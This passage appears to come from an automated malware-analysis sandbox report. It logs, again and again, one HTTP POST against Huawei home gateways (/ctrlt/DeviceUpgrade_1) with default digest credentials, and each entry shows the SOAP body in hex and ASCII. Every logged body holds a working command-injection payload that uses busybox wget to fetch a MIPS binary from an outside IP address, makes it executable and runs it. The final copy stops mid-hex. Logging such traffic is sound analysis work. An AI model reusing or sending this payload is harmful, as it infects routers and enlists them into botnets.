6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 